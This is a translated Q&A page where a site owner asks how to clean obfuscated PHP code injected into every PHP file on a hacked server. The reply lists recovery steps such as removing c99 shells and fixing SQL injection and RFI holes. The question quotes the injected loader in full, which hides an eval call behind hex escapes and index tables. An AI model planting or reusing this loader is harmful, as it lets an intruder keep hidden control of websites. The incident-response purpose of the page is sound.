php - 如何修复随机 php 代码被添加到服务器中的每个 php 文件上

Question

下面的 php 代码被添加到我的服务器上的每个 php 文件中。随机变量被分配随机值。我相信它已被黑客入侵，但我该如何解决这个问题？打开每个文件并删除这些代码将是一项乏味的任务。我们可以写一些正则表达式来删除它吗？

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explode(chr((235-191)),'3356,70,5425,39,3450,29,7051,63,85,31,7155,52,5896,22,8591,63,2844,27,4657,38,8760,46,2926,28,2896,30,1067,66,7944,46,6567,66,6928,62,4752,34,1955,61,6475,52,5211,53,2400,36,10007,30,1734,36,9547,33,940,57,5084,66,1616,51,285,58,7841,60,1283,54,2345,55,5181,30,2436,39,6225,48,2198,60,5150,31,3827,57,4321,37,9580,52,9369,56,2660,37,9665,69,7240,39,413,35,3109,48,9632,33,2871,25,8313,46,3996,30,9786,21,8990,26,8055,40,3157,34,8560,31,668,29,1837,67,1396,46,5007,23,6755,24,2502,59,6101,59,624,44,7656,22,7207,33,7345,63,1904,51,4466,25,3191,49,6829,43,1546,70,7901,43,1442,68,9242,43,4026,62,265,20,7789,52,8897,46,4088,69,1510,36,9285,27,8205,22,2697,39,6022,31,1047,20,3044,65,7585,33,7114,41,3303,53,5838,58,5784,54,448,61,8654,68,9880,34,697,45,6273,56,2736,66,8359,69,6990,61,8095,68,509,33,5974,48,5330,33,157,60,6053,48,4606,51,7528,57,8943,47,571,53,6779,29,8498,62,2593,67,8428,70,9049,68,1133,68,4852,39,5264,66,3240,63,343,70,3540,68,8031,24,4545,61,9807,49,4157,66,7618,38,4269,52,766,60,9016,33,2475,27,3608,44,2297,48,6160,65,7990,41,0,21,8227,24,3652,27,1786,51,826,47,9157,23,1667,32,1699,35,9734,52,10037,69,1237,46,9312,30,7678,57,8251,62,742,24,5030,54,9180,62,2954,64,3479,61,873,67,2111,32,9425,33,7279,23,6872,56,5561,59,9342,27,5491,70,217,48,8722,38,4491,54,4984,23,6685,70,8163,42,6527,40,9494,53,7735,54,2039,49,5677,61,4413,53,9458,36,6373,67,4953,31,7302,43,6329,44,2088,23,3679,52,5464,27,4891,62,3762,33,9117,40,4358,55,6633,52,5620,57,4695,57,21,64,997,50,3731,31,2258,39,116,41,7462,66,6808,21,9979,28,1337,59,2561,32,7408,54,6440,35,2802,42,8856,41,4786,66,5738,46,4223,46,1201,36,3928,68,542,29,3426,24,2016,23,3018,26,2143,55,5363,62,3795,32,9914,65,5918,56,3884,44,8806,50,9856,24,1770,16'); $gkxwtkprgr=substr($ykpnfnvlxm,(57718-47612),(31-24)); if (!function_exists('ufhifnilck')) { function ufhifnilck($jqhunqcplr, $pspnavsodg) { $jkuhymputb = NULL; for($uqgvjzvazc=0;$uqgvjzvazc<(sizeof($jqhunqcplr)/2);$uqgvjzvazc++) { $jkuhymputb .= substr($pspnavsodg, $jqhunqcplr[($uqgvjzvazc*2)],$jqhunqcplr[($uqgvjzvazc*2)+1]); } return $jkuhymputb; };} $pthlzycebh="\x20\57\x2a\40\x64\160\x63\162\x77\155\x65\167\x77\155\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x37\55\x32\62\x30\51\x29\54\x20\143\x68\162\x28\50\x32\70\x39\55\x31\71\x37\51\x29\54\x20\165\x66\150\x69\146\x6e\151\x6c\143\x6b\50\x24\151\x65\157\x69\172\x63\161\x79\156\x64\54\x24\171\x6b\160\x6e\146\x6e\166\x6c\170\x6d\51\x29\51\x3b\40\x2f\52\x20\171\x77\144\x64\163\x76\154\x74\150\x67\40\x2a\57\x20"; $meydnffptt=substr($ykpnfnvlxm,(37607-27494),(50-38)); $meydnffptt($gkxwtkprgr, $pthlzycebh, NULL); $meydnffptt=$pthlzycebh; $meydnffptt=(726-605); $ykpnfnvlxm=$meydnffptt-1; ?>

Answer 1

是的，您的服务器似乎已受到威胁。

执行以下步骤即可恢复。

• 关闭您的服务器。
• 更改您的 FTP/SFTP 帐户信息
• 将网络服务器上的所有文件备份到本地硬盘上的单独文件夹中
• 从您的网络服务器中删除所有文件。
• 检查本地备份以查看是否包含任何 c99 shell 文件。如果有，请将其删除。
• 修复所有 PHP 代码中的任何 SQL 注入(inject)和 RFI 漏洞
• 完成后，重新上传所有文件。